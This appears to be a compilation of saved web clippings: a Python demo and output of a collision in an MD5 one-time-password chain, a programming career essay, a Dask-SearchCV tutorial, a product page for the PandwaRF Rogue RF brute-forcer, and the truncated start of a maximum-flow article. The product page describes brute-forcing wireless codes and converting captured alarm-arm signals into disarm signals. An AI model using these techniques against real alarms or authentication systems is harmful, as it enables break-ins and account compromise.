     # https://github.com/therealmik/otpbreak/tree/master/pyotpmd5
     import  cotpmd5
     
     def  hex_to_np ( h ):
         """Convert 64-bits of hex string into a numpy.uint64"""
         assert ( len ( h )  ==  16 )
         return  numpy . fromstring ( unhex ( h ),  dtype = numpy . uint64 )[ 0 ]
     
     def  np_to_hex ( n ):
         """Convert a numpy.dtype into a hex string"""
         return  str ( mkhex ( n . tostring ()),  "US-ASCII" )
     
     def  create_seq_zero ( seed ,  password ):
         """Perform the initial part of the OTP calculation"""
         h  =  hashlib . md5 ( seed  +  password ) . digest ()
         n  =  numpy . fromstring ( h ,  dtype = numpy . uint64 )
         return  n [ 0 ]  ^  n [ 1 ]
     
     seed = b 'hn70134'
     seq = 50
     password = b '8dCOU97AVK9HjSiX'
     seqzero  =  create_seq_zero ( seed ,  password )
     orig_chain  =  cotpmd5 . otpmd5_chain ( seqzero ,  50 )
     
     collision = hex_to_np ( '31af346a00000000' )
     collision_index = 29848
     collision_chain  =  cotpmd5 . otpmd5_chain ( collision ,  collision_index )
     
     for  i  in  range ( 25 ):
         print ( np_to_hex ( orig_chain [ - 25  +  i ]),  np_to_hex ( collision_chain [ - 25  +  i ]))
    
[/code]

##

## Output:

[code]

     
[/code]

[code]

     aee35ed8d024524e 9d2a44466ba5e04c
    30cd16dd5e4e43af b73d20de3ff02282
    7cd5de8a09cc2055 63d59b54ac13c692
    773b713d8f1f5ebf 773b713d8f1f5ebf
    f5efb81a79cb8ffc f5efb81a79cb8ffc
    19d6256e61984dc0 19d6256e61984dc0
    69c0aadb6ba9503c 69c0aadb6ba9503c
    5101c2d589fc03c8 5101c2d589fc03c8
    a5d4ca9beb2ba353 a5d4ca9beb2ba353
    0ba6a04be986d0b2 0ba6a04be986d0b2
    eba961fc7271d430 eba961fc7271d430
    92a9849b06a42a86 92a9849b06a42a86
    26fcbea549e10fd0 26fcbea549e10fd0
    374d5fe2ccdc1be4 374d5fe2ccdc1be4
    de72b854776cf3dc de72b854776cf3dc
    5069844461617ec2 5069844461617ec2
    b432a39719c92062 b432a39719c92062
    632bf7b4058d49c7 632bf7b4058d49c7
    39c2d5fa73b84d29 39c2d5fa73b84d29
    6a6d7c9763a5b439 6a6d7c9763a5b439
    bbde20e23066f8e4 bbde20e23066f8e4
    1b89eef0a6a8e2a6 1b89eef0a6a8e2a6
    b966788caf0f7512 b966788caf0f7512
    484db76a8cbc5571 484db76a8cbc5571
    21ac0dcf87421205 21ac0dcf87421205
    
[/code]

This was presented as part of my Ruxcon 2013 talk ******Under the hood of your
password generator**. I also presented on  TOTP and  Random password
generators

# Do Hard Things | Sealed Abstract
**Created:**| _1/31/2012 7:15:55 PM_  
---|---  
**Updated:**| _1/31/2012 7:16:10 PM_  
**Author:**| __  
**Tags:**| _career programming opinion_  
  

# Do Hard Things

29 December 2011 _by_ Drew Crawford Published in: rants 8 comments <img
src='img/Temp2_2321.png' alt='alt' />

Think for a minute about what you work on. In your work life, in your side
projects. What are you going to do this upcoming week that is really, really
hard? This is not a rhetorical question–it’s the kind that shouldn’t raise a
null reference exception. There should be something.

<img src='img/Temp2_2320.png' width='300' height='199' alt='alt' />

Because you are a good developer. You’re way above the Fizzbuzz level–you read
blog posts about programming in your spare time, because you’re here. That’s
top 10% right there, which is purely the admission price of reading this
article. If you have gone to a couple of meetups or learned a new language
this year, you’re top 1%. If you’ve put 80 hours into a side project this
year, you’re top .05%.

So why are you writing CRUD apps?

I’ll tell you why. Because CRUD is the universal application \[1\]. CRUD on
every platform. CRUD on the web, on iOS, on desktop, in embedded, in Microsoft
Access, in Oracle, on Rails, on PHP, CRUD. CRUD at startups. CRUD at
enterprises. In a box, with a fox. It’s the “Java everywhere” dream Sun failed
to achieve. Every time you write a CRUD app, Jonathan Schwartz gets a nickel
and Knuth dies a little inside. Take a good, hard look at what you are working
on and compute your Levenshtein distance from being a Sun drone.

<img src='img/Temp2_2319.png' width='300' height='403' alt='alt' />

There are two reasons why you need to put your foot down and stop doing CRUD.
The first is because CS, mathematics, engineering, and every discipline need
the best and brightest people doing things that actually matter, not cranking
out SQL queries. We have genuinely tough battles to fight: the power wall in
hardware, computational complexity in CS, user interaction is in the dark
ages, self-driving cars, biotech, SOPA and related threats, dozens of
others–we’re fighting a 100-front war. Your colleagues need you. Your company
needs you. Your field needs you. Humanity needs you. Why are you dodging the
draft? We have wars to fight, and you are sitting at home typing SELECT in all
caps.

From You and Your Research:

> Over on the other side of the dining hall was a chemistry table. I had
> worked with one of the fellows, Dave McCall; furthermore he was courting our
> secretary at the time. I went over and said, “Do you mind if I join you?”
> They can’t say no, so I started eating with them for a while. And I started
> asking, “What are the important problems of your field?” And after a week or
> so, “What important problems are you working on?” And after some more time I
> came in one day and said, “If what you are doing is not important, and if
> you don’t think it is going to lead to something important, why are you at
> Bell Labs working on it?” I wasn’t welcomed after that; I had to find
> somebody else to eat with\! That was in the spring.
> In the fall, Dave McCall stopped me in the hall and said, “Hamming, that
> remark of yours got underneath my skin. I thought about it all summer, i.e.
> what were the important problems in my field. I haven’t changed my
> research,” he says, “but I think it was well worthwhile.” And I said, “Thank
> you Dave,” and went on. I noticed a couple of months later he was made the
> head of the department. I noticed the other day he was a Member of the
> National Academy of Engineering. I noticed he has succeeded. I have never
> heard the names of any of the other fellows at that table mentioned in
> science and scientific circles. They were unable to ask themselves, “What
> are the important problems in my field?”
We have difficult problems to solve and we need our A-players on the field.
When you can play at the super bowl, you don’t sit on the bench.

Although it was industry-specific, I was moved by the way Gruber phrased it:

> One simple way to look at it is that there are far more people who’ve never
> bought an iPhone and who’ve never bought an iPad, who will in the next five
> years than all of us who’ve already bought at least one to this point. And I
> don’t see how anybody can deny that, unless something unbelievable, dramatic
> changes. That’s certainly the way everything is going now. If you think this
> app store platform is big now, you really haven’t seen anything yet. At an
> event last week, Tim Cook had a line – he said, ‘This is an extraordinary
> time to be at Apple’. And He is definitely right. But I say to you, ‘This is
> an extraordinary time to be an Apple developer’ .This is the right time and
> the right place. This is a once in a career opportunity. This is like being
> a Rock and roll musician in the late sixties. This is like being a film
> maker in the seventies following Scorsese, Coppola, Steven Spielberg, George
> Lucas \(when he was sane\). If things go right, if things go the way I think
> they are going to go, these next five years, we are never going to work
> harder, we are never going to be under more pressure, we’re never going to
> be more stressed, we are never going to feel like we have to work faster and
> we are never going to have to solve tougher problems. We’re never going to
> have to move this fast. But the only thing any of us are going to regret is
> if we don’t aim big enough. If you don’t feel that you’re now in a position
> to do the best work of your entire career, to look back and say, ‘This was
> the time, I was there, I did this, I helped make this thing a reality’, then
> you need to find a new position. This chance will never come again. And we
> are lucky, we’re so unbelievably, incredibly lucky that it even came this
> once.
The other reason is entirely practical– _anyone_ can do CRUD. People working
for $10/hour in Outsourceizstan can do CRUD. Maybe not _well_ –but it doesn’t
need to be done well. It just needs to be done. Cheaply, if at all possible.

So every time you look at a CRUD project, you’re competing with people in
Outsourceizstan who make 20% what you do. CRUD is, quite quantitatively, a job
on the same level as stocking shelves at a grocery store. Unskilled labor is a
fine and noble profession, but if you have a highly marketable skill it’s
probably not the career path for you.

You may say “This is all fine and good, but I’m getting paid big bucks for
CRUD.” But you do not get paid big bucks in a vacuum. A company that is
willing to pay you US market rates for CRUD is a temporary market aberration.
You are one new boss away from being out on the street, exposed for the
obscene cost center you are. At which point you will have many years of CRUD
on your resume, instead of being the guy who worked in audio compression or
graph theory or scalable systems. Ride the gravy train, but make the conscious
effort to stay current. Winter’s coming.

As a contractor, one of the things I look for to qualify leads is “Is the
project hard?” For example, a lot of people use the word “simple” when talking
about the app they want to build \(“I want to make a simple app that…”\) which
is really a kind of secret code for “easy” or “cheap”. \(They are completely
oblivious the fact that practically the whole mantra of Steve Jobs, and of the
iPhone, is that simple is hard and expensive, and obliviousness is a very bad
trait in clients.\) Whenever somebody says “simple”, I know immediately that
the project is going to Outsourceizstan. Often the clients do not know this
themselves. Time and effort is poured into the sale. Conference rooms are
stocked with cupcakes and coffee. Then, all of a sudden, they find some
underappreciated undergrad to do it, and stop returning your calls.

Although I am a happy contractor, occasionally I humor job offers. In addition
to a full deck of other questions I ask, I inquire “So what are you going to
do if you have trouble filling the position?” Usually they look at me like I
am crazy and and that they are sure the right person is in the resume pile, or
that I are not the only candidate that they are talking to, or some equivalent
response. Which is code for “This job is not very hard.” As soon as they say
that, the jig is up–they are hiring a warm body to write a for loop or two and
go to meetings twice a week, and they can fulfill those requirements a lot
more cheaply than by hiring a real professional software developer. Other
people can tackle that; you were born to solve real problems.

When I was starting out, I would describe what I do as “writing iPhone apps,”
which was both accurate and sufficient. But as the market has matured, I’ve
started to say we “write really hard iPhone apps, that are too hard for other
developers to write.” It’s not that we’ve taken on projects that are much
harder than what we’ve always done, but that the bottom of the market has
dropped to do the floor, with a lot of things these days being cookie cutter
types of code that really anybody can whip together. And the “we do really
hard things” positioning turns away all of the cheap people and yields a lot
of high-quality referrals from people who really are doing rocket science and
as a result need somebody really good.

Of course the supply-side economics for working on hard things is good if you
are a developer, because you are a big fish in a small pond. But what about
the demand side? There is a limitless demand for CRUD, but only a limited
demand for novel research, right?

It’s true that the demand is _more_ limited. One thing I’ve observed,
particularly in the business world, is that people seek out incremental
improvements to existing tools. CRUD projects get started because it is easy
for a manager to imagine how to improve upon Excel. It is a lot harder to
imagine a revolution. Can you even think of what the first meeting for the
iPhone project must have been like? Perhaps Steve Jobs stood up and said
“We’re going to make a revolutionary, simple phone.” But what does that even
mean? Where are the requirements? Perhaps you can enumerate a few
_disrequirements_ –existing phones have bad UIs and are difficult to use. But
we are not within 100 miles of a single feature, or even a form factor. It’s
not exactly the sort of thing you can write a spec for and bid out to ten
shops.

But it turns out that the demand for iPhones is enormously huge. You just have
to be willing to put in the time and effort and R&D. Which requires buy-in
from the people around you; they have to be on board with breaking the chain
of incremental improvement and working on the revolution. This may not be the
case where you work. One of your biggest constraints for Doing Hard Things is
the imaginations of those around you. If your manager is a visionary and your
coworkers bank at San Serriffe, then you have a nonzero shot at working on
something decent. But otherwise you will spend your days poorly re-
implementing Excel. Don’t do that. We need you. We need you to push the world
forward. Leave the incremental improvements to others. Find a community of
bold revolutionaries.

As you are reflecting over your work this past year, think about what you have
worked on that is Really Hard. Think about how you have pushed a discipline
forward, an industry forward, and your customers forward. Think about how you
transformed a company, made a new discovery, developed a novel algorithm,
improved the runtime of code by an order of magnitude, written a better
malloc, saved someone a million dollars, and added to human knowledge. If
you’re not playing at this level,_get it together_. Do Something Hard. Do
something so that you will look back a year from now and say “I was here, I
did this, I made a difference.” Either that or move to Outsourceizstan.

You don’t have to suddenly quit your job and have a mid-life crisis. You can
start small. Start reading an academic journal. Start that open-source project
you’ve been meaning to work on. Sketch out the wireframes for that app. Just
as one dollar a day through the magic of compound interest makes millions over
a lifetime, 20 minutes of time invested per day pays enormous dividends over
decades. Breakthroughs are made with far less. You don’t have to join a
monastery and swear off HN forever. You just have to _start_.

[code]

    git commit -a -m "Initial commit"
[/code]

  
\[1\] When I talk about writing CRUD software in this article, I don’t mean
solving a thorny business problem with an implementation that just so happens
to consist of a CRUD application. Nor do I mean an application that is 90%
CRUD and 10% quantum mechanics. In either example, there’s a lot of non-CRUD
value. I don’t mean CRUD + \[arbitrary hard thing X\], I mean actually CRUD.

# Introducing Dask-SearchCV: Distributed hyperparameter optimization with
Scikit-Learn

**Created:**| _5/15/2017 9:24:34 PM_  
---|---  
**Updated:**| _5/15/2017 9:24:34 PM_  
**Author:**| __  
**Tags:**| _searching machine-learning_  
  

  

**By Jim Crist, Continuum Analytics.**

### Introduction

  
Last summer I spent some time experimenting with combining dask and scikit-
learn \(chronicled in this series of blog posts\). The library that work
produced was extremely alpha, and nothing really came out of it. Recently I
picked this work up again, and am happy to say that we now have something I
can be happy with. This involved a few major changes:

  * A sharp reduction in scope. The previous rendition tried to implement both _model_ and _data_ parallelism. Not being a machine-learning expert, the data parallelism was implemented in a less-than-rigorous manner. The scope is now pared back to just implementing hyperparameter searches \(model parallelism\), which is something we can do well. 
  * Optimized graph building. Turns out when people are given the option to run grid search across a cluster, they immediately want to scale up the grid size. At the cost of more complicated code, we can handle extremely large grids \(e.g. 500,000 candidates now takes seconds for the graph to build, as opposed to minutes before\). _It should be noted that for grids this size, an active search may perform significantly better_. Relevant issue: \#29. 
  * Increased compatibility with Scikit-Learn. Now with only a few exceptions, the implementations of `GridSearchCV` and `RandomizedSearchCV` should be drop-ins for their scikit-learn counterparts. 

All these changes have led to a name change \(previously was `dask-learn`\).
The new library is `dask-searchcv`. It can be installed via conda or pip:

1 | \# conda  
---|---  
2 | $ conda install dask-searchcv -c conda-forge  
3 | \# pip  
4 | $ pip install dask-searchcv  
view raw dask-searchcv-1.sh hosted with ❤ by GitHub

In this post I'll give a brief overview of the library, and touch on when you
might want to use it over other options.

### What's a grid search?

  
Many machine learning algorithms have _hyperparameters_ which can be tuned to
improve the performance of the resulting estimator. A grid search is one way
of optimizing these parameters — it works by doing a parameter sweep across a
cartesian product of a subset of these parameters \(the "grid"\), and then
choosing the best resulting estimator. Since this is fitting many independent
estimators across the same set of data, it can be fairly easily parallelized.

### Example using Text Classification

  
We'll be reproducing this example. using the newsgroups dataset from the
scikit-learn docs.

### Setup

  
First we need to load the data:

1 | from sklearn.datasets import fetch\_20newsgroups  
---|---  
2 |   
3 | categories = \['alt.atheism', 'talk.religion.misc'\]  
4 | data = fetch\_20newsgroups\(subset='train', categories=categories\)  
5 | print\("Number of samples: %d" % len\(data.data\)\)  
view raw dask-searchcv-2.py hosted with ❤ by GitHub

[code]

    Number of samples: 857
    
[/code]

  

Next, we'll build a pipeline to do the feature extraction and classification.
This is composed of aCountVectorizer, a TfidfTransformer, and a SGDClassifier.

1 | from sklearn.feature\_extraction.text import CountVectorizer  
---|---  
2 | from sklearn.feature\_extraction.text import TfidfTransformer  
3 | from sklearn.linear\_model import SGDClassifier  
4 | from sklearn.pipeline import Pipeline  
5 |   
6 | pipeline = Pipeline\(\[\('vect', CountVectorizer\(\)\),  
7 |  \('tfidf', TfidfTransformer\(\)\),  
8 |  \('clf', SGDClassifier\(\)\)\]\)  
view raw dask-searchcv-3.py hosted with ❤ by GitHub

All of these take several parameters. We'll only do a grid search across a few
of them:

1 | \# Parameters of steps are set using '\_\_' separated parameter names:  
---|---  
2 | parameters = \{'vect\_\_max\_df': \(0.5, 0.75, 1.0\),  
3 |  'vect\_\_ngram\_range': \(\(1, 1\), \(1, 2\)\),  
4 |  'tfidf\_\_use\_idf': \(True, False\),  
5 |  'tfidf\_\_norm': \('l1', 'l2'\),  
6 |  'clf\_\_alpha': \(1e-2, 1e-3, 1e-4, 1e-5\),  
7 |  'clf\_\_n\_iter': \(10, 50, 80\),  
8 |  'clf\_\_penalty': \('l2', 'elasticnet'\)\}  
9 |   
10 | from sklearn.model\_selection import ParameterGrid  
11 | print\("Number of candidates: %d" % len\(ParameterGrid\(parameters\)\)\)  
view raw dask-searchcv-4.py hosted with ❤ by GitHub

[code]

    Number of candidates: 576
    
[/code]

  

### Fitting with Scikit-Learn

  
In Scikit-Learn, a grid search is performed using the `GridSearchCV` class,
and can \(optionally\) be automatically parallelized using joblib. Here we'll
parallelize across 8 processes \(the number of cores on my machine\).

1 | from sklearn.model\_selection import GridSearchCV  
---|---  
2 |   
3 | grid\_search = GridSearchCV\(pipeline, parameters, n\_jobs=8\)  
4 |   
5 | %time grid\_search.fit\(data.data, data.target\)  
view raw dask-searchcv-5.py hosted with ❤ by GitHub

[code]

    CPU times: user 39.1 s, sys: 12.7 s, total: 51.8 s
    Wall time: 9min 12s
    
[/code]

  

### Fitting with Dask-SearchCV

  
The implementation of `GridSearchCV` in Dask-SearchCV is \(almost\) a drop-in
replacement for the Scikit-Learn version. A few lesser used parameters aren't
implemented, and there are a few new parameters as well. One of these is the
`scheduler` parameter for specifying which daskscheduler to use. By default,
if the global scheduler is set then it is used, and if the global scheduler is
not set then the threaded scheduler is used.

In this case, we'll use the distributed scheduler setup locally with 8
processes, each with a single thread. We choose this setup because:

  * We're working with python strings instead of numpy arrays, which means that the GIL is held for some of the tasks. This means we at least want to use a couple processes to get true parallelism \(which excludes the threaded scheduler\). 
  * For most graphs, the distributed scheduler will be more efficient than the multiprocessing scheduler, as it can be smarter about moving data between workers. Since a distributed scheduler is easy to setup locally \(just create a `dask.distributed.Client()`\) there's not really a downside to using it when you want multiple processes. 

Note the changes between using Scikit-Learn and Dask-SearchCV here are quite
small:

1 | from dask.distributed import Client  
---|---  
2 | \# Create a local cluster, and set as the default scheduler  
3 | client = Client\(\)  
4 | client  
view raw dask-searchcv-6.py hosted with ❤ by GitHub

[code]

    <Client: scheduler='tcp://127.0.0.1:64485' processes=8 cores=8>
    
[/code]

  

1 | import dask\_searchcv as dcv  
---|---  
2 |   
3 | \# Only difference here is absence of \`n\_jobs\` parameter  
4 | dgrid\_search = dcv.GridSearchCV\(pipeline, parameters\)  
5 |   
6 | %time dgrid\_search.fit\(data.data, data.target\)  
view raw dask-searchcv-7.py hosted with ❤ by GitHub

[code]

    CPU times: user 36.9 s, sys: 9.75 s, total: 46.7 s
    Wall time: 7min 16s
    
[/code]

  

### Why is the dask version faster?

  
If you look at the times above, you'll note that the dask version was `~1.3X`
faster than the scikit-learn version. This is not because we have optimized
any of the pieces of the `Pipeline`, or that there's a significant amount of
overhead to `joblib`. The reason is simply that the dask version is doing less
work.

Given a smaller grid

1 | parameters = \{'vect\_\_ngram\_range': \[\(1, 1\)\],  
---|---  
2 |  'tfidf\_\_norm': \['l1', 'l2'\],  
3 |  'clf\_\_alpha': \[1e-3, 1e-4, 1e-5\]\}  
view raw dask-searchcv-8.py hosted with ❤ by GitHub

and the same pipeline as above, the Scikit-Learn version looks something like
\(simplified\):

1 | scores = \[\]  
---|---  
2 | for ngram\_range in parameters\['vect\_\_ngram\_range'\]:  
3 |  for norm in parameters\['tfidf\_\_norm'\]:  
4 |  for alpha in parameters\['clf\_\_alpha'\]:  
5 |  vect = CountVectorizer\(ngram\_range=ngram\_range\)  
6 |  X2 = vect.fit\_transform\(X, y\)  
7 |  tfidf = TfidfTransformer\(norm=norm\)  
8 |  X3 = tfidf.fit\_transform\(X2, y\)  
9 |  clf = SGDClassifier\(alpha=alpha\)  
10 |  clf.fit\(X3, y\)  
11 |  scores.append\(clf.score\(X3, y\)\)  
12 | best = choose\_best\_parameters\(scores, parameters\)  
view raw dask-searchcv-9.py hosted with ❤ by GitHub

As a directed acyclic graph, this might look like:

<img src='img/unmerged_grid_search_graph.png' width='99%' height='207'
alt='Scikit-Learn Grid Search Graph' />

In contrast, the dask version looks more like:

1 | scores = \[\]  
---|---  
2 | for ngram\_range in parameters\['vect\_\_ngram\_range'\]:  
3 |  vect = CountVectorizer\(ngram\_range=ngram\_range\)  
4 |  X2 = vect.fit\_transform\(X, y\)  
5 |  for norm in parameters\['tfidf\_\_norm'\]:  
6 |  tfidf = TfidfTransformer\(norm=norm\)  
7 |  X3 = tfidf.fit\_transform\(X2, y\)  
8 |  for alpha in parameters\['clf\_\_alpha'\]:  
9 |  clf = SGDClassifier\(alpha=alpha\)  
10 |  clf.fit\(X3, y\)  
11 |  scores.append\(clf.score\(X3, y\)\)  
12 | best = choose\_best\_parameters\(scores, parameters\)  
view raw dask-searchcv-10.py hosted with ❤ by GitHub

As a directed acyclic graph, this might look like:

<img src='img/merged_grid_search_graph.png' width='99%' height='293'
alt='Dask-SearchCV Grid Search Graph' />

Looking closely, you can see that the Scikit-Learn version ends up fitting
earlier steps in the pipeline multiple times with the same parameters and
data. Due to the increased flexibility of Dask over Joblib, we're able to
merge these tasks in the graph and only perform the fit step once for any
parameter/data/estimator combination. For pipelines that have relatively
expensive early steps, this can be a big win when performing a grid search.

### Distributed Grid Search

  
Since Dask decouples the scheduler from the graph specification, we can easily
switch from running on a single machine to running on a cluster with a quick
change in scheduler. Here I've setup a cluster of 3 m4.2xlarge instances for
the workers \(each with 8 single-threaded processes\), and another instance
for the scheduler. This was easy to do with a single command using the `dask-
ec2` utility:

1 | $ dask-ec2 up --keyname mykey --keypair ~/.ssh/mykey.pem --nprocs 8 --type m4.2xlarge  
---|---  
view raw dask-searchcv-11.sh hosted with ❤ by GitHub

To switch to using the cluster instead of running locally, we just instantiate
a new client, and then rerun:

1 | client = Client\('54.146.59.240:8786'\)  
---|---  
2 | client  
view raw dask-searchcv-12.py hosted with ❤ by GitHub

[code]

    <Client: scheduler='tcp://54.146.59.240:8786' processes=24 cores=24>
    
[/code]

  

1 | %time dgrid\_search.fit\(data.data, data.target\)  
---|---  
view raw dask-searchcv-13.py hosted with ❤ by GitHub

[code]

    CPU times: user 871 ms, sys: 23.3 ms, total: 894 ms
    Wall time: 2min 43s
    
[/code]

  

Roughly a 3x speedup, which is what we'd expect given 3x more workers. By just
switching out schedulers we were able to scale our grid search out across
multiple workers for increased performance.

Below you can see the diagnostic plot for this run. These show the operations
that each of 24 workers were doing over time. We can see that we're keeping
the cluster fairly well saturated with work \(blue\) and not idle time
\(white\). There's a fair bit of serialization \(red\), but the values being
serialized are small, so this is relatively cheap to do. Note that this plot
is also a bit misleading, as the red boxes are drawn on top of the running
tasks, making it look worse than it really is.

<img src='img/grid_search_task_plot.png' width='99%' height='447'
alt='Distributed grid search task plot' />

### Distributed Grid Search with Joblib

  
For comparison, we'll also run the Scikit-Learn grid search using joblib with
the `dask.distributed` backend. This is also only a few lines changed:

1 | \# Need to import the backend to register it  
---|---  
2 | import distributed.joblib  
3 | from sklearn.externals.joblib import parallel\_backend  
4 |   
5 | \# Use the dask.distributed backend with our current cluster  
6 | with parallel\_backend\('dask.distributed', '54.146.59.240:8786'\):  
7 |  %time grid\_search.fit\(data.data, data.target\)  
view raw dask-searchcv-14.py hosted with ❤ by GitHub

[code]

    CPU times: user 12.1 s, sys: 3.26 s, total: 15.3 s
    Wall time: 3min 32s
    
[/code]

  

### Analysis

  
In this post we performed 4 different grid searches over a pipeline:

[code]

       |    Library     |   Backend    | Cores |   Time   |
       +----------------+--------------+-------+----------+
       | Scikit-Learn   |  local       |  8    | 9min 12s |
       | Dask-SearchCV  |  local       |  8    | 7min 16s |
       | Scikit-Learn   |  distributed |  24   | 3min 32s |
       | Dask-SearchCV  |  distributed |  24   | 2min 43s |
    
[/code]

  

Looking at these numbers we can see that both the Scikit-Learn and Dask-
SearchCV implementations scale as more cores are added. However, the Dask-
SearchCV implementation is faster in both cases because it's able to merge
redundant calls to `fit` and can avoid unnecessary work. For this simple
pipeline this saves only a minute or two, but for more expensive
transformations or larger grids the savings may be substantial.

### When is this useful?

  * For single estimators \(no `Pipeline` or `FeatureUnion`\) Dask-SearchCV performs only a small constant factor faster than using Scikit-Learn with the `dask.distributed` backend. The benefits of using Dask-SearchCV in these cases will be minimal. 
  * If the model contains meta estimators \(`Pipeline` or `FeatureUnion`\) then you may start seeing performance benefits, especially if early steps in the pipeline are relatively expensive. 
  * If the data your're fitting on is already on a cluster, then Dask-SearchCV will \(currently\) be more efficient, as it works nicely with remote data. You can pass dask arrays, dataframes or delayed objects to `fit`, and everything will work fine without having to bring the data back locally. 
  * If your data is too large for Scikit-Learn to work nicely, then this library won't help you. This is just for scheduling Scikit-Learn estimator fits in an intelligent way on small-medium data. It doesn't reimplement any of the algorithms found in Scikit-Learn to scale to larger datasets. 

### Future work

  
Currently we just mirror the Scikit-Learn classes `GridSearchCV` and
`RandomizedSearchCV` for doing passive searches through a parameter space.
While we can handle very large grids at some point switching to an active
search method might be best. Something like this could be built up using the
asynchronous methods in `dask.distributed`, and I think would be fun to work
on. If you have knowledge in this domain, please weigh in on the related
issue.

_This work is supported byContinuum Analytics, the XDATA program, and the Data
Driven Discovery Initiative from the Moore Foundation. Thanks also to Matthew
Rocklin and Will Warner for feedback on drafts of this post._

**Bio:Jim Crist** holds a Bachelors and a \(tentative\) Masters in Mechanical
Engineering from the University of Minnesota. Whilst procrastinating on his
thesis, he got involved in the scientific Python community. He is currently a
software developer at Continuum Analytics.

Original. Reposted with permission.

**Related:**

  * Dask and Pandas and XGBoost: Playing nicely between distributed systems
  * Introducing Dask for Parallel Programming: An Interview with Project Lead Developer
  * An Introduction to Scientific Python \(and a Bit of the Maths Behind It\) – Matplotlib

  

# PandwaRF Rogue - PandwaRF

**Created:**| _9/4/2017 9:32:13 AM_  
---|---  
**Updated:**| _9/4/2017 9:32:13 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

  * 

## Meet PandwaRF Rogue

After having successfully created PandwaRF, we used this expertise to develop
a more powerful device for pentesting professionals and Law Enforcement
Agencies.

**PandwaRF Rogue** is an improved variant of the PandwaRF, dedicated to brute
forcing wireless devices available on the market.

The product comes in 2 versions: **Rogue Pro** and **Rogue Gov**.

## PandwaRF Rogue Pro

The PandwaRF Rogue Pro is dedicated to physical pentesters and cybersecurity
professionals. It provides several additional features to the PandwaRF, making
it the perfect tool for advanced brute forcing.

## Variant Availability

####

 __

PandwaRF

####

 __

PandwaRF Rogue Pro

####

 __

PandwaRF Rogue Gov

<img src='img/Temp2_6117.png' width='60' height='60' />

## Reduced duration

The embedded Brute Force engine has been reworked to reduce the brute force
duration. You don’t have to worry about codes being sent multiple times. This
allows a brute force session to be up to 30x faster than the PandwaRF.

<img src='img/Temp2_6124.png' width='60' height='60' />

## Including predefined coding patterns

PandwaRF Rogue Pro also includes several predefined coding patterns \(aka
Function masks\) corresponding to common wireless devices available on the
market. Once you have a RF capture of the target device, you just need to set
up the Function Mask. PandwaRF Rogue Pro will optimize the brute force
duration for you.

<img src='img/Temp2_6120.png' width='60' height='60' />

## 32-bit codeword support

While the **PandwaRF** can brute force a codeword length of up to 16 bits
\(65K different codes\), the **Rogue Pro** supports 32-bit brute force \(4
billion different codewords\).

<img src='img/Temp2_6123.png' width='60' height='60' />

## Task splitting

PandwaRF Rogue Pro also allows Brute Force task splitting. You can resume a
Brute Force operation from where you stopped it. This allows splitting a long
Brute Force session into several shorter sessions.

# Demo Video

PandwaRF vs PandwaRF Rogue: Brute Force Attack

**Note:** Basic RF knowledge \(symbols, data rate etc\) is required in order
to use Rogue Pro’s Android application. To get started with the Brute Force
feature in the application, please check the RF Brute Force section of our
wiki. Please make sure that you are familiar with the terms used in this
section before considering the Rogue Pro.

## PandwaRF Rogue Gov

The PandwaRF Rogue Gov variant provides the same features as the Pro variant,
plus some additional sensitive features detailed below. This version is
dedicated to police and Law Enforcement Agencies.

Rogue Gov has a dedicated Android application, different from the other
product versions. It includes a simple interface, ideal for less experienced
users. No RF knowledge required\!

<img src='img/Temp2_6127.png' width='60' height='60' />

## Alarm database

In the Rogue Gov variant, we also include a specific Brute Force Android
application with a commercial alarm database \(home, car and scooter alarm
systems – device list available on demand\).

<img src='img/Temp2_6128.png' width='60' height='60' />

## Function inversion

The function inversion feature allows a user to capture RF data when the
target presses the alarm keyfob button, and apply an inversion function to
transform an “Alarm Arm” data into an “Alarm Disarm” data or vice versa. The
user can then send the transformed data to the alarm and disarm it.

<img src='img/Temp2_6125.png' width='60' height='60' />

## Transferable sessions

Brute Force sessions can also be transferred. This allows a user to continue a
session started by another user.

<img src='img/Temp2_6121.png' width='60' height='60' />

## Not connected to Cloud

While the other product versions require a network connection, the Rogue Gov
is autonomous, avoiding any risk of interception. No data connection
required\!

<img src='img/Temp2_6126.png' width='60' height='60' />

## Autonomous Brute Force

Once configured, the brute force session can be launched by pressing a
dedicated button on the device. Using this option the product becomes entirely
autonomous. No connection to smartphone required\!

<img src='img/Temp2_6118.png' width='60' height='60' />

## Same-day technical support

Every purchase includes technical support, with same day response. We’re here
to help\!

<img src='img/Temp2_6122.png' width='689' height='804' />

Buy Now

## PandwaRF Rogue: Advanced brute forcing for cybersecurity professionals &
Law Enforcement Agencies

Find more information on PandwaRF Rogue below.

**PandwaRF Rogue Technical Specifications** <img src='img/Temp2_6119.png'
width='30' height='30' />

**Note:** For PandwaRF Rogue orders we also accept payments by bank transfer.
Please contact us if you prefer this payment method.

Have a question? Contact us\!

**Disclaimer:** You may only use the Brute Force feature to assess the
security of your own RF devices. You are solely responsible for using your
PandwaRF legally.

  

# Efficient Maximum Flow Algorithms | August 2014 | Communications of the ACM
**Created:**| _8/5/2014 10:02:37 AM_  
---|---  
**Updated:**| _8/5/2014 10:02:37 AM_  
**Author:**| __  
**Tags:**| _algos_  
  

# Efficient Maximum Flow Algorithms

* * *
By Andrew V. Goldberg, Robert E. Tarjan  
Communications of the ACM, Vol. 57 No. 8, Pages 82-89  
10.1145/2628036  
Comments

<img src='img/Temp2_2545.jpg' alt='Efficient Maximum Flow Algorithms,
illustration' />

The maximum flow problem and its dual, the minimum cut problem, are classical
combinatorial optimization problems with many applications in science and
engineering; see, for example, Ahuja et al.1 The problem is a special case of
linear programming and can be solved using general linear programming
techniques or their specializations \(such as the network simplex method9\).
However, special-purpose algorithms are more efficient. Moreover, algorithm
design techniques and data structures developed to compute maximum flows are
useful for other problems as well. Although a special case of linear
programming, the maximum flow problem is general enough so several important
problems \(such as the maximum bipartite matching problem\) reduce to it.

Back to Top

### Key Insights

<img src='img/Temp2_2542.jpg' alt='ins01.gif' />

Here, we survey basic techniques behind efficient maximum flow algorithms,
starting with the history and basic ideas behind the fundamental maximum flow
algorithms, then explore the algorithms in more detail. We restrict ourselves
to basic maximum flow algorithms and do not cover interesting special cases
\(such as undirected graphs, planar graphs, and bipartite matchings\) or
generalizations \(such as minimum-cost and multi-commodity flow problems\).

Before formally defining the maximum flow and the minimum cut problems, we
give a simple example of each problem: For the maximum flow example, suppose
we have a graph that represents an oil pipeline network from an oil well to an
oil depot. Each arc has a capacity, or maximum number of liters per second
that can flow through the corresponding pipe. The goal is to find the maximum
number of liters per second \(maximum flow\) that can be shipped from well to
